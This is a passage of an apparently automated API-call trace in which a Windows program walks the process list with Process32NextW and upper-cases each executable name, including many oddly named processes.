lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.479] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.479] lstrlenW (lpString="svchost.exe") returned 11 [0221.479] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.479] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.479] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.479] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.480] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0221.480] lstrlenW (lpString="sihost.exe") returned 10 [0221.480] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0221.480] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0221.480] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0221.480] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.481] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0221.481] lstrlenW (lpString="taskhostw.exe") returned 13 [0221.481] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0221.481] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0221.481] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0221.481] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.481] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0221.481] lstrlenW (lpString="explorer.exe") returned 12 [0221.481] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0221.481] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0221.481] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0221.481] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.482] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0221.482] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0221.482] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0221.482] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0221.482] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0221.482] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.483] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0221.483] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0221.483] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0221.483] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0221.483] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0221.483] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.484] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0221.484] lstrlenW (lpString="SearchUI.exe") returned 12 [0221.484] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0221.484] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0221.484] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0221.484] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0221.484] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0221.484] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0221.484] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0221.484] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0221.484] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0221.484] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0221.485] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0221.485] lstrlenW (lpString="nice cu.exe") returned 11 [0221.485] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0221.485] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0221.485] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0221.485] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0221.486] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0221.486] lstrlenW (lpString="video_reviewing.exe") returned 19 [0221.486] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0221.486] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0221.486] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0221.486] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0221.486] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0221.486] lstrlenW (lpString="shame.exe") returned 9 [0221.486] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0221.486] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0221.486] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0221.486] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0221.487] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0221.487] lstrlenW (lpString="fantasy.exe") returned 11 [0221.487] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0221.487] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0221.487] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0221.487] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0221.488] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0221.488] lstrlenW (lpString="accepting.exe") returned 13 [0221.488] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0221.488] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0221.488] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0221.488] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0221.488] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0221.489] lstrlenW (lpString="authorized.exe") returned 14 [0221.489] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0221.489] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0221.489] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0221.489] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0221.489] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0221.489] lstrlenW (lpString="isp.exe") returned 7 [0221.489] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0221.489] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0221.489] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0221.489] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0221.490] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0221.490] lstrlenW (lpString="cowboy.exe") returned 10 [0221.490] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0221.490] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0221.490] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0221.490] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0221.491] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0221.491] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0221.491] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0221.491] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0221.491] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0221.491] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0221.492] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0221.492] lstrlenW (lpString="thats.exe") returned 9 [0221.492] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0221.492] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0221.492] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0221.492] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0221.492] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0221.492] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0221.492] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0221.492] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0221.492] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0221.492] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0221.493] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0221.493] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0221.493] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0221.493] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0221.493] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0221.493] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0221.494] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0221.494] lstrlenW (lpString="actual.exe") returned 10 [0221.494] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0221.494] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0221.494] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0221.494] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0221.494] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0221.494] lstrlenW (lpString="potter larry.exe") returned 16 [0221.494] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0221.494] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0221.494] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0221.494] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0221.495] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0221.495] lstrlenW (lpString="contents what certificate.exe") returned 29 [0221.495] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0221.495] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0221.495] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0221.495] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0221.496] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0221.496] lstrlenW (lpString="cindy.exe") returned 9 [0221.496] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0221.496] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0221.496] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0221.496] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0221.496] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0221.496] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0221.497] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0221.497] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0221.497] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0221.497] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0221.497] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0221.497] lstrlenW (lpString="unusual.exe") returned 11 [0221.497] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0221.497] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0221.497] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0221.497] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0221.498] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0221.498] lstrlenW (lpString="pacific.exe") returned 11 [0221.498] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0221.498] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0221.498] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0221.498] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0221.499] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0221.499] lstrlenW (lpString="phantom.exe") returned 11 [0221.499] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0221.499] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0221.499] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0221.499] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.499] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0221.499] lstrlenW (lpString="audiodg.exe") returned 11 [0221.499] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0221.499] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0221.499] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0221.499] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0221.500] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0221.500] lstrlenW (lpString="SCN0tification.exe") returned 18 [0221.500] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0221.500] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0221.500] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0221.500] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.501] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: 